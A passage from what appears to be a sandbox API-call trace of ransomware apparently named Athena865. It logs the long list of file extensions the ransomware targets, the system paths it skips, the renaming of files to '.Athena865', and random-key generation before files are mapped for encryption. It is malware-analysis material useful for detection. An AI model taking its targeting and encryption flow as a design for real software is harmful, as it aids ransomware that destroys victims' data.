lstrcmpiW (lpString1="avi", lpString2="alf") returned 1 [0050.497] lstrlenW (lpString="ask") returned 3 [0050.497] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1 [0050.497] lstrlenW (lpString="btr") returned 3 [0050.497] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1 [0050.497] lstrlenW (lpString="cat") returned 3 [0050.497] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1 [0050.497] lstrlenW (lpString="cdb") returned 3 [0050.497] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1 [0050.497] lstrlenW (lpString="ckp") returned 3 [0050.497] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1 [0050.497] lstrlenW (lpString="cma") returned 3 [0050.497] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1 [0050.497] lstrlenW (lpString="cpd") returned 3 [0050.497] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1 [0050.497] lstrlenW (lpString="dacpac") returned 6 [0050.497] lstrcmpiW (lpString1="NC.avi", lpString2="dacpac") returned 1 [0050.497] lstrlenW (lpString="dad") returned 3 [0050.497] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1 [0050.497] lstrlenW (lpString="dadiagrams") returned 10 [0050.497] lstrlenW (lpString="daschema") returned 8 [0050.497] lstrcmpiW (lpString1="TzNC.avi", lpString2="daschema") returned 1 [0050.497] lstrlenW (lpString="db-journal") returned 10 [0050.497] lstrlenW (lpString="db-shm") returned 6 [0050.497] lstrcmpiW (lpString1="NC.avi", lpString2="db-shm") returned 1 [0050.497] lstrlenW (lpString="db-wal") returned 6 [0050.497] lstrcmpiW (lpString1="NC.avi", lpString2="db-wal") returned 1 [0050.497] lstrlenW (lpString="dbc") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1 [0050.498] lstrlenW (lpString="dbs") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1 [0050.498] lstrlenW (lpString="dbt") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1 [0050.498] lstrlenW (lpString="dbv") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1 [0050.498] lstrlenW (lpString="dbx") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1 [0050.498] lstrlenW (lpString="dcb") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1 [0050.498] lstrlenW (lpString="dct") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1 [0050.498] lstrlenW (lpString="dcx") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1 [0050.498] lstrlenW (lpString="ddl") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1 [0050.498] lstrlenW (lpString="dlis") returned 4 [0050.498] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1 [0050.498] lstrlenW (lpString="dp1") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1 [0050.498] lstrlenW (lpString="dqy") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1 [0050.498] lstrlenW (lpString="dsk") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1 [0050.498] lstrlenW (lpString="dsn") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1 [0050.498] lstrlenW (lpString="dtsx") returned 4 [0050.498] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1 [0050.498] lstrlenW (lpString="dxl") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1 [0050.498] lstrlenW (lpString="eco") returned 3 [0050.498] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1 [0050.499] lstrlenW (lpString="ecx") returned 3 [0050.499] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1 [0050.499] lstrlenW (lpString="edb") returned 3 [0050.499] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1 [0050.499] lstrlenW (lpString="epim") returned 4 [0050.499] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1 [0050.499] lstrlenW (lpString="fcd") returned 3 [0050.499] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1 [0050.499] lstrlenW (lpString="fdb") returned 3 [0050.499] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1 [0050.499] lstrlenW (lpString="fic") returned 3 [0050.499] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1 [0050.499] lstrlenW (lpString="flexolibrary") returned 12 [0050.499] lstrlenW (lpString="fm5") returned 3 [0050.499] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1 [0050.499] lstrlenW (lpString="fmp") returned 3 [0050.499] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1 [0050.499] lstrlenW (lpString="fmp12") returned 5 [0050.499] lstrcmpiW (lpString1="C.avi", lpString2="fmp12") returned -1 [0050.499] lstrlenW (lpString="fmpsl") returned 5 [0050.499] lstrcmpiW (lpString1="C.avi", lpString2="fmpsl") returned -1 [0050.499] lstrlenW (lpString="fol") returned 3 [0050.499] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1 [0050.499] lstrlenW (lpString="fp3") returned 3 [0050.499] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1 [0050.499] lstrlenW (lpString="fp4") returned 3 [0050.499] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1 [0050.499] lstrlenW (lpString="fp5") returned 3 [0050.499] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1 [0050.499] lstrlenW (lpString="fp7") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1 [0050.500] lstrlenW (lpString="fpt") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1 [0050.500] lstrlenW (lpString="frm") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1 [0050.500] lstrlenW (lpString="gdb") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1 [0050.500] lstrlenW (lpString="gdb") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1 [0050.500] lstrlenW (lpString="grdb") returned 4 [0050.500] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1 [0050.500] lstrlenW (lpString="gwi") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1 [0050.500] lstrlenW (lpString="hdb") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1 [0050.500] lstrlenW (lpString="his") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="his") returned -1 [0050.500] lstrlenW (lpString="ib") returned 2 [0050.500] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1 [0050.500] lstrlenW (lpString="idb") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1 [0050.500] lstrlenW (lpString="ihx") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1 [0050.500] lstrlenW (lpString="itdb") returned 4 [0050.500] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1 [0050.500] lstrlenW (lpString="itw") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1 [0050.500] lstrlenW (lpString="jet") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1 [0050.500] lstrlenW (lpString="jtx") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1 [0050.500] lstrlenW (lpString="kdb") returned 3 [0050.500] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1 [0050.501] lstrlenW (lpString="kexi") returned 4 [0050.501] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1 [0050.501] lstrlenW (lpString="kexic") returned 5 [0050.501] lstrcmpiW (lpString1="C.avi", lpString2="kexic") returned -1 [0050.501] lstrlenW (lpString="kexis") returned 5 [0050.501] lstrcmpiW (lpString1="C.avi", lpString2="kexis") returned -1 [0050.501] lstrlenW (lpString="lgc") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1 [0050.501] lstrlenW (lpString="lwx") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1 [0050.501] lstrlenW (lpString="maf") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1 [0050.501] lstrlenW (lpString="maq") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1 [0050.501] lstrlenW (lpString="mar") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1 [0050.501] lstrlenW (lpString="marshal") returned 7 [0050.501] lstrcmpiW (lpString1="zNC.avi", lpString2="marshal") returned 1 [0050.501] lstrlenW (lpString="mas") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1 [0050.501] lstrlenW (lpString="mav") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1 [0050.501] lstrlenW (lpString="maw") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1 [0050.501] lstrlenW (lpString="mdbhtml") returned 7 [0050.501] lstrcmpiW (lpString1="zNC.avi", lpString2="mdbhtml") returned 1 [0050.501] lstrlenW (lpString="mdn") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1 [0050.501] lstrlenW (lpString="mdt") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1 [0050.501] lstrlenW (lpString="mfd") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1 [0050.501] lstrlenW (lpString="mpd") returned 3 [0050.501] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1 [0050.502] lstrlenW (lpString="mrg") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1 [0050.502] lstrlenW (lpString="mud") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1 [0050.502] lstrlenW (lpString="mwb") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1 [0050.502] lstrlenW (lpString="myd") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1 [0050.502] lstrlenW (lpString="ndf") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1 [0050.502] lstrlenW (lpString="nnt") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1 [0050.502] lstrlenW (lpString="nrmlib") returned 6 [0050.502] lstrcmpiW (lpString1="NC.avi", lpString2="nrmlib") returned -1 [0050.502] lstrlenW (lpString="ns2") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1 [0050.502] lstrlenW (lpString="ns3") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1 [0050.502] lstrlenW (lpString="ns4") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1 [0050.502] lstrlenW (lpString="nsf") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1 [0050.502] lstrlenW (lpString="nv") returned 2 [0050.502] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1 [0050.502] lstrlenW (lpString="nv2") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1 [0050.502] lstrlenW (lpString="nwdb") returned 4 [0050.502] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1 [0050.502] lstrlenW (lpString="nyf") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1 [0050.502] lstrlenW (lpString="odb") returned 3 [0050.502] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1 [0050.503] lstrlenW (lpString="odb") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1 [0050.503] lstrlenW (lpString="oqy") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1 [0050.503] lstrlenW (lpString="ora") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1 [0050.503] lstrlenW (lpString="orx") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1 [0050.503] lstrlenW (lpString="owc") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1 [0050.503] lstrlenW (lpString="p96") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1 [0050.503] lstrlenW (lpString="p97") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1 [0050.503] lstrlenW (lpString="pan") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1 [0050.503] lstrlenW (lpString="pdb") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1 [0050.503] lstrlenW (lpString="pdm") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1 [0050.503] lstrlenW (lpString="pnz") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1 [0050.503] lstrlenW (lpString="qry") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1 [0050.503] lstrlenW (lpString="qvd") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1 [0050.503] lstrlenW (lpString="rbf") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1 [0050.503] lstrlenW (lpString="rctd") returned 4 [0050.503] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1 [0050.503] lstrlenW (lpString="rod") returned 3 [0050.503] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1 [0050.503] lstrlenW (lpString="rodx") returned 4 [0050.503] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1 [0050.504] lstrlenW (lpString="rpd") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1 [0050.504] lstrlenW (lpString="rsd") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1 [0050.504] lstrlenW (lpString="sas7bdat") returned 8 [0050.504] lstrcmpiW (lpString1="TzNC.avi", lpString2="sas7bdat") returned 1 [0050.504] lstrlenW (lpString="sbf") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1 [0050.504] lstrlenW (lpString="scx") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1 [0050.504] lstrlenW (lpString="sdb") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1 [0050.504] lstrlenW (lpString="sdc") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1 [0050.504] lstrlenW (lpString="sdf") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1 [0050.504] lstrlenW (lpString="sis") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1 [0050.504] lstrlenW (lpString="spq") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1 [0050.504] lstrlenW (lpString="te") returned 2 [0050.504] lstrcmpiW (lpString1="vi", lpString2="te") returned 1 [0050.504] lstrlenW (lpString="teacher") returned 7 [0050.504] lstrcmpiW (lpString1="zNC.avi", lpString2="teacher") returned 1 [0050.504] lstrlenW (lpString="tmd") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1 [0050.504] lstrlenW (lpString="tps") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1 [0050.504] lstrlenW (lpString="trc") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1 [0050.504] lstrlenW (lpString="trc") returned 3 [0050.504] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1 [0050.504] lstrlenW (lpString="trm") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1 [0050.505] lstrlenW (lpString="udb") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1 [0050.505] lstrlenW (lpString="udl") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1 [0050.505] lstrlenW (lpString="usr") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1 [0050.505] lstrlenW (lpString="v12") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1 [0050.505] lstrlenW (lpString="vis") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1 [0050.505] lstrlenW (lpString="vpd") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1 [0050.505] lstrlenW (lpString="vvv") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1 [0050.505] lstrlenW (lpString="wdb") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1 [0050.505] lstrlenW (lpString="wmdb") returned 4 [0050.505] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1 [0050.505] lstrlenW (lpString="wrk") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1 [0050.505] lstrlenW (lpString="xdb") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1 [0050.505] lstrlenW (lpString="xld") returned 3 [0050.505] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1 [0050.505] lstrlenW (lpString="xmlff") returned 5 [0050.505] lstrcmpiW (lpString1="C.avi", lpString2="xmlff") returned -1 [0050.505] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\HBTzNC.avi.Athena865") returned 75 [0050.505] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\HBTzNC.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\hbtznc.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\HBTzNC.avi.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\hbtznc.avi.athena865"), dwFlags=0x1) returned 1 [0050.506] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\HBTzNC.avi.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\hbtznc.avi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.506] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=77081) returned 1 [0050.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.507] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.507] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.507] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.507] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13020, lpName=0x0) returned 0x154 [0050.508] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13020) returned 0x100000 [0050.510] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.511] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.511] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.512] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.513] CloseHandle (hObject=0x154) returned 1 [0050.513] CloseHandle (hObject=0x17c) returned 1 [0050.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.517] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238fc1f0, ftCreationTime.dwHighDateTime=0x1d4d490, ftLastAccessTime.dwLowDateTime=0x9328f2d0, ftLastAccessTime.dwHighDateTime=0x1d4c909, ftLastWriteTime.dwLowDateTime=0x9328f2d0, ftLastWriteTime.dwHighDateTime=0x1d4c909, nFileSizeHigh=0x0, nFileSizeLow=0x3213, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hm1U0Lr.mp3", cAlternateFileName="")) returned 1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2=".") returned 1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="..") returned 1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="windows") returned -1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="bootmgr") returned 1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="temp") returned -1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="pagefile.sys") returned -1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="boot") returned 1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="ids.txt") returned -1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="ntuser.dat") returned -1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="perflogs") returned -1 [0050.517] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2="MSBuild") returned -1 [0050.517] lstrlenW (lpString="Hm1U0Lr.mp3") returned 11 [0050.517] lstrcpyW (in: lpString1=0x241e8b6, lpString2="Hm1U0Lr.mp3" | out: lpString1="Hm1U0Lr.mp3") returned="Hm1U0Lr.mp3" [0050.517] lstrlenW (lpString="Hm1U0Lr.mp3") returned 11 [0050.517] lstrlenW (lpString="Athena865") returned 9 [0050.517] lstrcmpiW (lpString1="1U0Lr.mp3", lpString2="Athena865") returned -1 [0050.518] lstrlenW (lpString=".dll") returned 4 [0050.518] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2=".dll") returned 1 [0050.518] lstrlenW (lpString=".lnk") returned 4 [0050.518] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2=".lnk") returned 1 [0050.518] lstrlenW (lpString=".ini") returned 4 [0050.518] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2=".ini") returned 1 [0050.518] lstrlenW (lpString=".sys") returned 4 [0050.518] lstrcmpiW (lpString1="Hm1U0Lr.mp3", lpString2=".sys") returned 1 [0050.518] lstrlenW (lpString="Hm1U0Lr.mp3") returned 11 [0050.518] lstrlenW (lpString="bak") returned 3 [0050.518] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0050.518] lstrlenW (lpString="ba_") returned 3 [0050.518] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0050.518] lstrlenW (lpString="dbb") returned 3 [0050.518] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0050.518] lstrlenW (lpString="vmdk") returned 4 [0050.518] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0050.518] lstrlenW (lpString="rar") returned 3 [0050.518] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0050.518] lstrlenW (lpString="zip") returned 3 [0050.518] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0050.518] lstrlenW (lpString="tgz") returned 3 [0050.518] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0050.518] lstrlenW (lpString="vbox") returned 4 [0050.518] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0050.518] lstrlenW (lpString="vdi") returned 3 [0050.518] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0050.518] lstrlenW (lpString="vhd") returned 3 [0050.518] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0050.518] lstrlenW (lpString="vhdx") returned 4 [0050.518] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0050.519] lstrlenW (lpString="avhd") returned 4 [0050.519] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0050.519] lstrlenW (lpString="db") returned 2 [0050.519] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0050.519] lstrlenW (lpString="db2") returned 3 [0050.519] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0050.519] lstrlenW (lpString="db3") returned 3 [0050.519] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0050.519] lstrlenW (lpString="dbf") returned 3 [0050.519] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0050.519] lstrlenW (lpString="mdf") returned 3 [0050.519] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0050.519] lstrlenW (lpString="mdb") returned 3 [0050.519] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0050.519] lstrlenW (lpString="sql") returned 3 [0050.519] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0050.519] lstrlenW (lpString="sqlite") returned 6 [0050.519] lstrcmpiW (lpString1="Lr.mp3", lpString2="sqlite") returned -1 [0050.519] lstrlenW (lpString="sqlite3") returned 7 [0050.519] lstrcmpiW (lpString1="0Lr.mp3", lpString2="sqlite3") returned -1 [0050.519] lstrlenW (lpString="sqlitedb") returned 8 [0050.519] lstrcmpiW (lpString1="U0Lr.mp3", lpString2="sqlitedb") returned 1 [0050.519] lstrlenW (lpString="xml") returned 3 [0050.519] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0050.519] lstrlenW (lpString="$er") returned 3 [0050.519] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0050.519] lstrlenW (lpString="4dd") returned 3 [0050.519] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0050.519] lstrlenW (lpString="4dl") returned 3 [0050.519] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0050.519] lstrlenW (lpString="^^^") returned 3 [0050.519] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0050.520] lstrlenW (lpString="abs") returned 3 [0050.520] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0050.520] lstrlenW (lpString="abx") returned 3 [0050.520] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0050.520] lstrlenW (lpString="accdb") returned 5 [0050.520] lstrcmpiW (lpString1="r.mp3", lpString2="accdb") returned 1 [0050.520] lstrlenW (lpString="accdc") returned 5 [0050.520] lstrcmpiW (lpString1="r.mp3", lpString2="accdc") returned 1 [0050.520] lstrlenW (lpString="accde") returned 5 [0050.520] lstrcmpiW (lpString1="r.mp3", lpString2="accde") returned 1 [0050.520] lstrlenW (lpString="accdr") returned 5 [0050.520] lstrcmpiW (lpString1="r.mp3", lpString2="accdr") returned 1 [0050.520] lstrlenW (lpString="accdt") returned 5 [0050.520] lstrcmpiW (lpString1="r.mp3", lpString2="accdt") 